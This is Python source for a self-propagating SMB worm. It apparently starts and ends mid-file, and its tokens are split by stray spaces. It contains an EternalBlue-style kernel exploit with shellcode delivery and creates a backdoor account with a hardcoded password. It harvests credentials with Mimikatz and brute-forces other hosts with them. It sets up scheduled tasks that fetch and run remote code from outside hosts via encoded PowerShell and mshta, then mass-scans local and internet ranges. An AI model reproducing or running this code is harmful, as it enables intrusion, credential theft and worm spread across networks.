fakeSrvNetBuffer = fakeSrvNetBufferNsa
feaList = pack ( ' <I ' , 65536 )
feaList + = ntfea [ NTFEA_SIZE ]
feaList + = pack ( ' <BBH ' , 0 , 0 , len ( fakeSrvNetBuffer ) - 1 ) + fakeSrvNetBuffer
feaList + = pack ( ' <BBH ' , 18 , 52 , 22136 )
fake_recv_struct = pack ( ' <QII ' , 0 , 3 , 0 )
fake_recv_struct + = ' \x00 ' * 16
fake_recv_struct + = pack ( ' <QII ' , 0 , 3 , 0 )
fake_recv_struct + = ' \x00 ' * 16 * 7
fake_recv_struct + = pack ( ' <QQ ' , TARGET_HAL_HEAP_ADDR_x64 + 160 , TARGET_HAL_HEAP_ADDR_x64 + 160 )
fake_recv_struct + = ' \x00 ' * 16
fake_recv_struct + = pack ( ' <IIQ ' , TARGET_HAL_HEAP_ADDR_x86 + 192 , TARGET_HAL_HEAP_ADDR_x86 + 192 , 0 )
fake_recv_struct + = ' \x00 ' * 16 * 11
fake_recv_struct + = pack ( ' <QII ' , 0 , 0 , TARGET_HAL_HEAP_ADDR_x86 + 400 )
fake_recv_struct + = pack ( ' <IIQ ' , 0 , TARGET_HAL_HEAP_ADDR_x86 + 496 - 1 , 0 )
fake_recv_struct + = ' \x00 ' * 16 * 3
fake_recv_struct + = pack ( ' <QQ ' , 0 , TARGET_HAL_HEAP_ADDR_x64 + 480 )
fake_recv_struct + = pack ( ' <QQ ' , 0 , TARGET_HAL_HEAP_ADDR_x64 + 496 - 1 )
def getNTStatus ( self ) :
return self [ ' ErrorCode ' ] << 16 | self [ ' _reserved ' ] << 8 | self [ ' ErrorClass ' ]
setattr ( smb . NewSMBPacket , ' getNTStatus ' , getNTStatus )
def sendEcho ( conn , tid , data ) :
pkt = smb . NewSMBPacket ( )
pkt [ ' Tid ' ] = tid
transCommand = smb . SMBCommand ( smb . SMB . SMB_COM_ECHO )
transCommand [ ' Parameters ' ] = smb . SMBEcho_Parameters ( )
transCommand [ ' Data ' ] = smb . SMBEcho_Data ( )
transCommand [ ' Parameters ' ] [ ' EchoCount ' ] = 1
transCommand [ ' Data ' ] [ ' Data ' ] = data
pkt . addCommand ( transCommand )
conn . sendSMB ( pkt )
recvPkt = conn . recvSMB ( )
if recvPkt . getNTStatus ( ) == 0 :
print ' got good ECHO response '
else :
print ( ' got bad ECHO response: 0x {:x} ' ) . format ( recvPkt . getNTStatus ( ) )
def createSessionAllocNonPaged ( target , size ) :
conn = smb . SMB ( target , target )
_ , flags2 = conn . get_flags ( )
flags2 & = ~ smb . SMB . FLAGS2_EXTENDED_SECURITY
if size > = 65535 :
flags2 & = ~ smb . SMB . FLAGS2_UNICODE
reqSize = size / / 2
else :
flags2 | = smb . SMB . FLAGS2_UNICODE
reqSize = size
conn . set_flags ( flags2 = flags2 )
pkt = smb . NewSMBPacket ( )
sessionSetup = smb . SMBCommand ( smb . SMB . SMB_COM_SESSION_SETUP_ANDX )
sessionSetup [ ' Parameters ' ] = smb . SMBSessionSetupAndX_Extended_Parameters ( )
sessionSetup [ ' Parameters ' ] [ ' MaxBufferSize ' ] = 61440
sessionSetup [ ' Parameters ' ] [ ' MaxMpxCount ' ] = 2
sessionSetup [ ' Parameters ' ] [ ' VcNumber ' ] = 2
sessionSetup [ ' Parameters ' ] [ ' SessionKey ' ] = 0
sessionSetup [ ' Parameters ' ] [ ' SecurityBlobLength ' ] = 0
sessionSetup [ ' Parameters ' ] [ ' Capabilities ' ] = smb . SMB . CAP_EXTENDED_SECURITY
sessionSetup [ ' Data ' ] = pack ( ' <H ' , reqSize ) + ' \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 '
pkt . addCommand ( sessionSetup )
conn . sendSMB ( pkt )
recvPkt = conn . recvSMB ( )
if recvPkt . getNTStatus ( ) == 0 :
print ' SMB1 session setup allocate nonpaged pool success '
else :
print ' SMB1 session setup allocate nonpaged pool failed '
return conn
class SMBTransaction2Secondary_Parameters_Fixed ( smb . SMBCommand_Parameters ) :
structure = (
( ' TotalParameterCount ' , ' <H=0 ' ) , ( ' TotalDataCount ' , ' <H ' ) , ( ' ParameterCount ' , ' <H=0 ' ) , ( ' ParameterOffset ' , ' <H=0 ' ) , ( ' ParameterDisplacement ' , ' <H=0 ' ) , ( ' DataCount ' , ' <H ' ) , ( ' DataOffset ' , ' <H ' ) , ( ' DataDisplacement ' , ' <H=0 ' ) , ( ' FID ' , ' <H=0 ' ) )
def send_trans2_second ( conn , tid , data , displacement ) :
pkt = smb . NewSMBPacket ( )
pkt [ ' Tid ' ] = tid
transCommand = smb . SMBCommand ( smb . SMB . SMB_COM_TRANSACTION2_SECONDARY )
transCommand [ ' Parameters ' ] = SMBTransaction2Secondary_Parameters_Fixed ( )
transCommand [ ' Data ' ] = smb . SMBTransaction2Secondary_Data ( )
transCommand [ ' Parameters ' ] [ ' TotalParameterCount ' ] = 0
transCommand [ ' Parameters ' ] [ ' TotalDataCount ' ] = len ( data )
fixedOffset = 53
transCommand [ ' Data ' ] [ ' Pad1 ' ] = ' '
transCommand [ ' Parameters ' ] [ ' ParameterCount ' ] = 0
transCommand [ ' Parameters ' ] [ ' ParameterOffset ' ] = 0
if len ( data ) > 0 :
pad2Len = ( 4 - fixedOffset % 4 ) % 4
transCommand [ ' Data ' ] [ ' Pad2 ' ] = ' \xff ' * pad2Len
else :
transCommand [ ' Data ' ] [ ' Pad2 ' ] = ' '
pad2Len = 0
transCommand [ ' Parameters ' ] [ ' DataCount ' ] = len ( data )
transCommand [ ' Parameters ' ] [ ' DataOffset ' ] = fixedOffset + pad2Len
transCommand [ ' Parameters ' ] [ ' DataDisplacement ' ] = displacement
transCommand [ ' Data ' ] [ ' Trans_Parameters ' ] = ' '
transCommand [ ' Data ' ] [ ' Trans_Data ' ] = data
pkt . addCommand ( transCommand )
conn . sendSMB ( pkt )
def send_big_trans2 ( conn , tid , setup , data , param , firstDataFragmentSize , sendLastChunk = True ) :
pkt = smb . NewSMBPacket ( )
pkt [ ' Tid ' ] = tid
command = pack ( ' <H ' , setup )
transCommand = smb . SMBCommand ( smb . SMB . SMB_COM_NT_TRANSACT )
transCommand [ ' Parameters ' ] = smb . SMBNTTransaction_Parameters ( )
transCommand [ ' Parameters ' ] [ ' MaxSetupCount ' ] = 1
transCommand [ ' Parameters ' ] [ ' MaxParameterCount ' ] = len ( param )
transCommand [ ' Parameters ' ] [ ' MaxDataCount ' ] = 0
transCommand [ ' Data ' ] = smb . SMBTransaction2_Data ( )
transCommand [ ' Parameters ' ] [ ' Setup ' ] = command
transCommand [ ' Parameters ' ] [ ' TotalParameterCount ' ] = len ( param )
transCommand [ ' Parameters ' ] [ ' TotalDataCount ' ] = len ( data )
fixedOffset = 73 + len ( command )
if len ( param ) > 0 :
padLen = ( 4 - fixedOffset % 4 ) % 4
padBytes = ' \xff ' * padLen
transCommand [ ' Data ' ] [ ' Pad1 ' ] = padBytes
else :
transCommand [ ' Data ' ] [ ' Pad1 ' ] = ' '
padLen = 0
transCommand [ ' Parameters ' ] [ ' ParameterCount ' ] = len ( param )
transCommand [ ' Parameters ' ] [ ' ParameterOffset ' ] = fixedOffset + padLen
if len ( data ) > 0 :
pad2Len = ( 4 - ( fixedOffset + padLen + len ( param ) ) % 4 ) % 4
transCommand [ ' Data ' ] [ ' Pad2 ' ] = ' \xff ' * pad2Len
else :
transCommand [ ' Data ' ] [ ' Pad2 ' ] = ' '
pad2Len = 0
transCommand [ ' Parameters ' ] [ ' DataCount ' ] = firstDataFragmentSize
transCommand [ ' Parameters ' ] [ ' DataOffset ' ] = transCommand [ ' Parameters ' ] [ ' ParameterOffset ' ] + len ( param ) + pad2Len
transCommand [ ' Data ' ] [ ' Trans_Parameters ' ] = param
transCommand [ ' Data ' ] [ ' Trans_Data ' ] = data [ : firstDataFragmentSize ]
pkt . addCommand ( transCommand )
conn . sendSMB ( pkt )
conn . recvSMB ( )
i = firstDataFragmentSize
while i < len ( data ) :
sendSize = min ( 4096 , len ( data ) - i )
if len ( data ) - i < = 4096 :
if not sendLastChunk :
break
send_trans2_second ( conn , tid , data [ i : i + sendSize ] , i )
i + = sendSize
if sendLastChunk :
conn . recvSMB ( )
return i
def createConnectionWithBigSMBFirst80 ( target ) :
sk = socket . create_connection ( ( target , 445 ) )
pkt = ' \x00 \x00 ' + pack ( ' >H ' , 65527 )
pkt + = ' BAAD '
pkt + = ' \x00 ' * 124
sk . send ( pkt )
return sk
lock2 = threading . Lock ( )
def exploit2 ( target , shellcode , numGroomConn ) :
global lock2
lock2 . acquire ( )
conn = smb . SMB ( target , target )
conn . login_standard ( ' ' , ' ' )
server_os = conn . get_server_os ( )
print ' Target OS: ' + server_os
if not ( server_os . startswith ( ' Windows 7 ' ) or server_os . startswith ( ' Windows Server ' ) and ' 2008 ' in server_os or server_os . startswith ( ' Windows Vista ' ) ) :
print ' This exploit does not support this target '
tid = conn . tree_connect_andx ( ' \\ \\ ' + target + ' \\ ' + ' IPC$ ' )
progress = send_big_trans2 ( conn , tid , 0 , feaList , ' \x00 ' * 30 , 2000 , False )
allocConn = createSessionAllocNonPaged ( target , NTFEA_SIZE - 4112 )
srvnetConn = [ ]
for i in range ( numGroomConn ) :
sk = createConnectionWithBigSMBFirst80 ( target )
srvnetConn . append ( sk )
holeConn = createSessionAllocNonPaged ( target , NTFEA_SIZE - 16 )
allocConn . get_socket ( ) . close ( )
for i in range ( 5 ) :
sk = createConnectionWithBigSMBFirst80 ( target )
srvnetConn . append ( sk )
holeConn . get_socket ( ) . close ( )
send_trans2_second ( conn , tid , feaList [ progress : ] , progress )
recvPkt = conn . recvSMB ( )
retStatus = recvPkt . getNTStatus ( )
if retStatus == 3221225485 L :
print ' good response status: INVALID_PARAMETER '
else :
print ( ' bad response status: 0x {:08x} ' ) . format ( retStatus )
for sk in srvnetConn :
sk . send ( fake_recv_struct + shellcode )
for sk in srvnetConn :
sk . close ( )
conn . disconnect_tree ( tid )
conn . logoff ( )
conn . get_socket ( ) . close ( )
time . sleep ( 2 )
lock2 . release ( )
lock3 = threading . Lock ( )
def exploit3 ( target , shellcode , numGroomConn1 ) :
global lock3
lock3 . acquire ( )
conn3 = smb . SMB ( target , target )
conn3 . login_standard ( ' ' , ' ' )
server_os3 = conn3 . get_server_os ( )
print ' Target OS: ' + server_os3
if not ( server_os3 . startswith ( ' Windows 7 ' ) or server_os3 . startswith ( ' Windows Server ' ) and ' 2008 ' in server_os3 or server_os3 . startswith ( ' Windows Vista ' ) ) :
print ' This exploit does not support this target '
tid3 = conn3 . tree_connect_andx ( ' \\ \\ ' + target + ' \\ ' + ' IPC$ ' )
progress3 = send_big_trans2 ( conn3 , tid3 , 0 , feaList , ' \x00 ' * 30 , 2000 , False )
allocConn3 = createSessionAllocNonPaged ( target , NTFEA_SIZE - 4112 )
srvnetConn3 = [ ]
for i in range ( numGroomConn1 ) :
sk3 = createConnectionWithBigSMBFirst80 ( target )
srvnetConn3 . append ( sk3 )
holeConn3 = createSessionAllocNonPaged ( target , NTFEA_SIZE - 16 )
allocConn3 . get_socket ( ) . close ( )
for i in range ( 5 ) :
sk3 = createConnectionWithBigSMBFirst80 ( target )
srvnetConn3 . append ( sk3 )
holeConn3 . get_socket ( ) . close ( )
send_trans2_second ( conn3 , tid3 , feaList [ progress3 : ] , progress3 )
recvPkt3 = conn3 . recvSMB ( )
retStatus3 = recvPkt3 . getNTStatus ( )
if retStatus3 == 3221225485 L :
print ' good response status: INVALID_PARAMETER '
else :
print ( ' bad response status: 0x {:08x} ' ) . format ( retStatus3 )
for sk3 in srvnetConn3 :
sk3 . send ( fake_recv_struct + shellcode )
for sk3 in srvnetConn3 :
sk3 . close ( )
conn3 . disconnect_tree ( tid3 )
conn3 . logoff ( )
conn3 . get_socket ( ) . close ( )
time . sleep ( 2 )
lock3 . release ( )
NEGOTIATE_PROTOCOL_REQUEST = binascii . unhexlify ( ' 00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200 ' )
SESSION_SETUP_REQUEST = binascii . unhexlify ( ' 00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000 ' )
TREE_CONNECT_REQUEST = binascii . unhexlify ( ' 00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00 ' )
NAMED_PIPE_TRANS_REQUEST = binascii . unhexlify ( ' 0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00 ' )
timeout = 1
verbose = 0
threads_num = 255
if ' Windows-XP ' in platform . platform ( ) :
timeout = 1
threads_num = 2
semaphore1 = threading . BoundedSemaphore ( value = 2 )
semaphore = threading . BoundedSemaphore ( value = 2 )
semaphore2 = threading . BoundedSemaphore ( value = 2 )
else :
semaphore1 = threading . BoundedSemaphore ( value = 255 )
semaphore = threading . BoundedSemaphore ( value = threads_num )
semaphore2 = threading . BoundedSemaphore ( value = 100 )
print_lock = threading . Lock ( )
def print_status ( ip , message ) :
global print_lock
with print_lock :
print ' [*] [ %s ] %s ' % ( ip , message )
def check_ip ( ip , tg ) :
global verbose
s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
s . settimeout ( float ( timeout ) if timeout else None )
host = ip
port = 445
s . connect ( ( host , port ) )
if verbose :
print_status ( ip , ' Sending negotiation protocol request ' )
s . send ( NEGOTIATE_PROTOCOL_REQUEST )
negotiate_reply = s . recv ( 1024 )
if len ( negotiate_reply ) < 36 or struct . unpack ( ' <I ' , negotiate_reply [ 9 : 13 ] ) [ 0 ] != 0 :
with print_lock :
print " [-] [ %s ] can ' t determine whether it ' s vulunerable " % ip
return
if verbose :
print_status ( ip , ' Sending session setup request ' )
s . send ( SESSION_SETUP_REQUEST )
session_setup_response = s . recv ( 1024 )
user_id = session_setup_response [ 32 : 34 ]
if verbose :
print_st ( ip , ' User ID = %s ' % struct . unpack ( ' <H ' , user_id ) [ 0 ] )
os = ' '
word_count = ord ( session_setup_response [ 36 ] )
if word_count != 0 :
byte_count = struct . unpack ( ' <H ' , session_setup_response [ 43 : 45 ] ) [ 0 ]
if len ( session_setup_response ) != byte_count + 45 :
print_status ( ' invalid session setup AndX response ' )
else :
for i in range ( 46 , len ( session_setup_response ) - 1 ) :
if ord ( session_setup_response [ i ] ) == 0 and ord ( session_setup_response [ i + 1 ] ) == 0 :
os = session_setup_response [ 46 : i ] . decode ( ' utf-8 ' ) [ : : 2 ]
break
modified_tree_connect_request = list ( TREE_CONNECT_REQUEST )
modified_tree_connect_request [ 32 ] = user_id [ 0 ]
modified_tree_connect_request [ 33 ] = user_id [ 1 ]
modified_tree_connect_request = ( ' ' ) . join ( modified_tree_connect_request )
if verbose :
print_status ( ip , ' Sending tree connect ' )
s . send ( modified_tree_connect_request )
tree_connect_response = s . recv ( 1024 )
tree_id = tree_connect_response [ 28 : 30 ]
if verbose :
print_status ( ip , ' Tree ID = %s ' % struct . unpack ( ' <H ' , tree_id ) [ 0 ] )
modified_trans2_session_setup = list ( NAMED_PIPE_TRANS_REQUEST )
modified_trans2_session_setup [ 28 ] = tree_id [ 0 ]
modified_trans2_session_setup [ 29 ] = tree_id [ 1 ]
modified_trans2_session_setup [ 32 ] = user_id [ 0 ]
modified_trans2_session_setup [ 33 ] = user_id [ 1 ]
modified_trans2_session_setup = ( ' ' ) . join ( modified_trans2_session_setup )
if verbose :
print_status ( ip , ' Sending named pipe ' )
s . send ( modified_trans2_session_setup )
final_response = s . recv ( 1024 )
if final_response [ 9 ] == ' \x05 ' and final_response [ 10 ] == ' \x02 ' and final_response [ 11 ] == ' \x00 ' and final_response [ 12 ] == ' \xc0 ' :
print ' [+] [ %s ]( %s ) got it! ' % ( ip , os )
if ' Windows 7 ' in os :
if scan ( ip , 65533 ) == 0 :
print ' [+] exploit... ' + ip + ' win7 '
try :
exploit ( ip , None , ' k8h3d ' , ' k8d3j9SjfS7 ' , tg )
except :
print ' no user '
try :
exploit2 ( ip , sc , int ( random . randint ( 5 , 13 ) ) )
try :
print ' exp again '
exploit ( ip , None , ' k8h3d ' , ' k8d3j9SjfS7 ' , tg )
except :
print ' no user2 '
lock2 . release ( )
except :
print ' [*] maybe crash '
time . sleep ( 6 )
try :
print ' exp again '
exploit ( ip , None , ' k8h3d ' , ' k8d3j9SjfS7 ' , tg )
except :
print ' no user3 '
lock2 . release ( )
elif ' Windows Server 2008 ' in os :
if scan ( ip , 65533 ) == 0 :
print ' [+] exploit... ' + ip + ' win2k8 '
try :
exploit ( ip , None , ' k8h3d ' , ' k8d3j9SjfS7 ' , tg )
except :
print ' no user '
try :
exploit3 ( ip , sc , int ( random . randint ( 5 , 13 ) ) )
try :
print ' exp again '
exploit ( ip , None , ' k8h3d ' , ' k8d3j9SjfS7 ' , tg )
except :
print ' no user 2 '
lock3 . release ( )
except :
print ' [*] maybe crash '
time . sleep ( 6 )
try :
print ' exp again '
exploit ( ip , None , ' k8h3d ' , ' k8d3j9SjfS7 ' , tg )
except :
print ' no user 3 '
lock3 . release ( )
if ' Windows 5.1 ' in os :
if scan ( ip , 65533 ) == 0 :
print ' [+] exploit... ' + ip + ' xp '
try :
exploit ( ip , None , ' ' , ' ' , tg )
except :
print ' not succ '
elif ' Windows Server 2003 ' in os :
if scan ( ip , 65533 ) == 0 :
print ' [+] exploit... ' + ip + ' win2k3 '
try :
exploit ( ip , None , ' ' , ' ' , tg )
except :
print ' not succ '
elif scan ( ip , 65533 ) == 0 :
print ' [+] exploit... ' + ip + ' *************************other os '
for u in userlist :
for p in passlist :
if u == ' ' and p != ' ' :
continue
try :
exploit ( ip , None , u , p , tg )
except :
print ' exp not succ! '
else :
print ' [-] [ %s ]( %s ) stays in safety ' % ( ip , os )
s . close ( )
def check_thread ( ip_address ) :
global semaphore
try :
try :
check_ip ( ip_address , tg = 1 )
except Exception as e :
with print_lock :
tmp = 2
finally :
semaphore . release ( )
def check_thread2 ( ip_address ) :
try :
try :
check_ip ( ip_address , tg = 2 )
except Exception as e :
with print_lock :
tmp = 2
finally :
semaphore . release ( )
one = 1
try :
h_one = socket . socket ( )
addr = ( ' ' , 60124 )
h_one . bind ( addr )
one = 1
except :
one = 2
if one == 2 :
print ' alredy run eb '
sys . exit ( )
usr = subprocess . Popen ( ' cmd /c net user&netsh advfirewall set allprofile state on&netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445 ' , stdout = subprocess . PIPE )
dusr = usr . stdout . read ( )
if ' k8h3d ' in dusr :
usr = subprocess . Popen ( ' cmd /c net user k8h3d /del ' , stdout = subprocess . PIPE )
dl = ' '
ee2 = ' '
if os . path . exists ( ' c:/windows/system32/svhost.exe ' ) :
dl = ' c: \\ windows \\ system32 \\ svhost.exe '
if os . path . exists ( ' c:/windows/SysWOW64/svhost.exe ' ) :
dl = ' c: \\ windows \\ SysWOW64 \\ svhost.exe '
if os . path . exists ( ' c:/windows/system32/drivers/svchost.exe ' ) :
dl = ' c: \\ windows \\ system32 \\ drivers \\ svchost.exe '
if os . path . exists ( ' c:/windows/SysWOW64/drivers/svchost.exe ' ) :
dl = ' c: \\ windows \\ SysWOW64 \\ drivers \\ svchost.exe '
if os . path . exists ( ' c:/windows/temp/svvhost.exe ' ) :
ee2 = ' c: \\ windows \\ temp \\ svvhost.exe '
if os . path . exists ( ' c:/windows/temp/svchost.exe ' ) :
ee2 = ' c: \\ windows \\ temp \\ svchost.exe '
if os . path . exists ( ' C: \\ windows \\ system32 \\ WindowsPowerShell \\ ' ) :
usr0 = subprocess . Popen ( ' cmd /c schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr " C: \\ Windows \\ temp \\ svchost.exe " /F ' , stdout = subprocess . PIPE )
usr1 = subprocess . Popen ( ' cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn " \\ Microsoft \\ windows \\ Bluetooths " /tr " powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= " /F ' , stdout = subprocess . PIPE )
def mmka ( ) :
global domainlist
global passlist
global userlist2
if os . path . exists ( ' C: \\ windows \\ system32 \\ WindowsPowerShell \\ ' ) :
if os . path . exists ( ' c:/windows/temp/m.ps1 ' ) :
if os . path . exists ( ' c:/windows/temp/mkatz.ini ' ) :
print ' mkatz.ini exist '
mtime = os . path . getmtime ( ' c: \\ windows \\ temp \\ mkatz.ini ' )
mnow = int ( time . time ( ) )
if ( mnow - mtime ) / 60 / 60 < 24 :
musr = open ( ' c: \\ windows \\ temp \\ mkatz.ini ' , ' r ' ) . read ( )
else :
print ' reload mimi '
if ' PROGRAMFILES(X86) ' in os . environ :
usr = subprocess . Popen ( ' C: \\ Windows \\ SysNative \\ WindowsPowerShell \\ v1.0 \\ powershell.exe -exec bypass " import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds " ' , stdout = subprocess . PIPE )
else :
usr = subprocess . Popen ( ' powershell.exe -exec bypass " import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds " ' , stdout = subprocess . PIPE )
musr = usr . stdout . read ( )
fmk = open ( ' c: \\ windows \\ temp \\ mkatz.ini ' , ' w ' )
fmk . write ( musr )
fmk . close ( )
else :
print ' reload mimi '
if ' PROGRAMFILES(X86) ' in os . environ :
usr = subprocess . Popen ( ' C: \\ Windows \\ SysNative \\ WindowsPowerShell \\ v1.0 \\ powershell.exe -exec bypass " import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds " ' , stdout = subprocess . PIPE )
else :
usr = subprocess . Popen ( ' powershell.exe -exec bypass " import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds " ' , stdout = subprocess . PIPE )
musr = usr . stdout . read ( )
fmk = open ( ' c: \\ windows \\ temp \\ mkatz.ini ' , ' w ' )
fmk . write ( musr )
fmk . close ( )
else :
fm = open ( ' c: \\ windows \\ temp \\ m.ps1 ' , ' w ' )
fm . write ( mkatz )
fm . close ( )
if os . path . exists ( ' c:/windows/temp/mkatz.ini ' ) :
print ' mkatz.ini exist '
mtime = os . path . getmtime ( ' c: \\ windows \\ temp \\ mkatz.ini ' )
mnow = int ( time . time ( ) )
if ( mnow - mtime ) / 60 / 60 < 24 :
print ' reload mimi '
musr = open ( ' c: \\ windows \\ temp \\ mkatz.ini ' , ' r ' ) . read ( )
else :
print ' reload mimi '
if ' PROGRAMFILES(X86) ' in os . environ :
usr = subprocess . Popen ( ' C: \\ Windows \\ SysNative \\ WindowsPowerShell \\ v1.0 \\ powershell.exe -exec bypass " import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds " ' , stdout = subprocess . PIPE )
else :
usr = subprocess . Popen ( ' powershell.exe -exec bypass " import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds " ' , stdout = subprocess . PIPE )
musr = usr . stdout . read ( )
fmk = open ( ' c: \\ windows \\ temp \\ mkatz.ini ' , ' w ' )
fmk . write ( musr )
fmk . close ( )
else :
print ' reload mimi '
if ' PROGRAMFILES(X86) ' in os . environ :
usr = subprocess . Popen ( ' C: \\ Windows \\ SysNative \\ WindowsPowerShell \\ v1.0 \\ powershell.exe -exec bypass " import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds " ' , stdout = subprocess . PIPE )
else :
usr = subprocess . Popen ( ' powershell.exe -exec bypass " import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds " ' , stdout = subprocess . PIPE )
musr = usr . stdout . read ( )
fmk = open ( ' c: \\ windows \\ temp \\ mkatz.ini ' , ' w ' )
fmk . write ( musr )
fmk . close ( )
else :
usr3 = subprocess . Popen ( ' cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr " cmd.exe /c mshta http://w.beahh.com/page.html?p % COMPUTERNAME % " &schtasks /run /TN Autocheck) ' , stdout = subprocess . PIPE )
usr4 = subprocess . Popen ( ' cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autoscan /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autoscan /tr " C: \\ Windows \\ temp \\ svchost.exe " &schtasks /run /TN Autoscan) ' , stdout = subprocess . PIPE )
print ' mimi over '
usern = ' '
lmhash = ' '
nthash = ' '
tspkg = ' '
wdigest = ' '
kerberos = ' '
domain = ' '
usernull = ' '
try :
dousr = subprocess . Popen ( ' cmd /c wmic ntdomain get domainname ' , stdout = subprocess . PIPE )
domianusr = dousr . stdout . read ( )
dousr = subprocess . Popen ( ' cmd /c net user ' , stdout = subprocess . PIPE )
luser = dousr . stdout . read ( ) . split ( ' \r \n ' ) [ : - 3 ]
for c in luser :
if ' - ' in c :
continue
for j in c . split ( ' ' ) :
if ' ' == j :
continue
if ' Guest ' == j :
continue
userlist2 . append ( j . strip ( ) )
if ' * LM ' in musr :
mmlist = musr . split ( ' * LM ' )
del mmlist [ 0 ]
for i in mmlist :
domaint = i . split ( ' Domain : ' ) [ 1 ] . split ( ' \n ' ) [ 0 ] . strip ( )
if domaint in domianusr :
domainlist . append ( domaint )
for ii in i . split ( ' Authentication ' ) [ 0 ] . split ( ' Username : ' ) [ 1 : ] :
unt = ii . split ( ' \n ' ) [ 0 ] . strip ( )
userlist2 . append ( unt )
for ii in i . split ( ' Authentication ' ) [ 0 ] . split ( ' Password : ' ) [ 1 : ] :
pwdt = ii . split ( ' \n ' ) [ 0 ] . strip ( )
if pwdt != ' (null) ' :
passlist . append ( pwdt )
passlist = list ( set ( passlist ) )
userlist2 = list ( set ( userlist2 ) )
domainlist = list ( set ( domainlist ) )
else :
print ' nobody logon '
if ' * NTLM ' in musr :
mmlist = musr . split ( ' * NTLM ' )
del mmlist [ 0 ]
for i in mmlist :
NThash = i . split ( ' : ' ) [ 1 ] . split ( ' \n ' ) [ 0 ] . strip ( )
ntlist . append ( NThash )
except :
print ' except '
mmka ( )
var = 1
while var == 1 :
print ' start scan '
if ' .exe ' in dl :
for network in find_ip ( ) :
print network
ip , cidr = network . split ( ' / ' )
cidr = int ( cidr )
host_bits = 32 - cidr
i = struct . unpack ( ' >I ' , socket . inet_aton ( ip ) ) [ 0 ]
start = i >> host_bits << host_bits
end = i | ( 1 << host_bits ) - 1
for i in range ( start + 1 , end ) :
semaphore1 . acquire ( )
ip = socket . inet_ntoa ( struct . pack ( ' >I ' , i ) )
t1 = threading . Thread ( target = scansmb , args = ( ip , 445 ) )
t1 . start ( )
time . sleep ( 1 )
print ' smb over sleep 200s '
time . sleep ( 5 )
if ' Windows-XP ' in platform . platform ( ) :
time . sleep ( 1000 )
else :
print ' start scan2 '
if ' .exe ' in dl :
for network in iplist2 :
ip , cidr = network . split ( ' / ' )
if ip . split ( ' . ' ) [ 0 ] . strip ( ) == ' 192 ' :
continue
if ip . split ( ' . ' ) [ 0 ] . strip ( ) == ' 127 ' :
continue
if ip . split ( ' . ' ) [ 0 ] . strip ( ) == ' 10 ' :
continue
if ip . split ( ' . ' ) [ 0 ] . strip ( ) == ' 0 ' :
continue
if ip . split ( ' . ' ) [ 0 ] . strip ( ) == ' 100 ' :
continue
if ip . split ( ' . ' ) [ 0 ] . strip ( ) == ' 172 ' :
continue
if int ( ip . split ( ' . ' ) [ 0 ] . strip ( ) ) in xrange ( 224 , 256 ) :
continue
print network
cidr = int ( cidr )
host_bits = 32 - 16
i = struct . unpack ( ' >I ' , socket . inet_aton ( ip ) ) [ 0 ]
start = i >> host_bits << host_bits
end = i | ( 1 << host_bits ) - 1
for i in range ( start + 1 , end ) :
semaphore2 . acquire ( )
ip = socket . inet_ntoa ( struct . pack ( ' >I ' , i ) )
t1 = threading . Thread ( target = scansmb3 , args = ( ip , 445 ) )
t1 . start ( )
time . sleep ( 1 )
print ' smb over sleep 200s '
time . sleep ( 5 )
print ' eb2 internet '
for s in xip ( 500 ) :
if s . split ( ' . ' ) [ 0 ] . strip ( ) == ' 127 ' :
continue
if s . split ( ' . ' ) [ 0 ] . strip ( ) == ' 10 ' :
continue
if s . split ( ' . ' ) [ 0 ] . strip ( ) == ' 0 ' :
continue
if s . split ( ' . ' ) [ 0 ] . strip ( ) == ' 100 ' :
continue
if s . split ( ' . ' ) [ 0 ] . strip ( ) == ' 172 ' :
continue
if int ( s . split ( ' . ' ) [ 0 ] . strip ( ) ) in xrange ( 224 , 256 ) :
continue
print s
ip , cidr = s . split ( ' / ' )
cidr = int ( cidr )
host_bits = 32 - cidr
i = struct . unpack ( ' >I ' , socket . inet_aton ( ip ) ) [ 0 ]
start = i >> host_bits << host_bits
end = i | ( 1 << host_bits ) - 1
for i in range ( start + 1 , end ) :
semaphore1 . acquire ( )
ip = socket . inet_ntoa ( struct . pack ( ' >I ' , i ) )
